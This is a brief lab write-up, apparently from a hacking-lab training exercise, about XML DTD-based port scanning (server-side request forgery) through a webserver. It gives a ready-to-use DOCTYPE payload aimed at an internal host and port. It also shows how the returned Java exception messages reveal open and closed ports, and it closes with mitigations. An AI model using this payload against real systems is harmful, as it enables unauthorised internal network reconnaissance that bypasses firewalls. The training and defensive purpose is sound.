2600b_xml_port_scan

XML port scanning through DTD processing
- circumvention of external facing firewalls as the webserver is the one "performing" the port scan

use ZAP as proxy to modify requests (alternatively use curl or postman with appropriate headers to forge the request)
start request

replace the request body with (replace the port with the port to scan)

  <?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE query PUBLIC "-//IETF/hack" "http://glocken.hacking-lab.com:80/nofile">
  <query>
      <bell-name> </bell-name>
      <bell-description> </bell-description>
  </query>

continue request and examine result body

for port 80: java.io.FileNotFoundException: http://glocken.hacking-lab.com:80/nofile -> Port open (see 2600b_1.png)

for port 31337: java.net.ConnectException: Connection refused -> Port closed (see 2600b_2.png)

prohibit DTD processing
do not pass internal error messages to end user
establish internal facing firewalls (or/and separation into different network segments)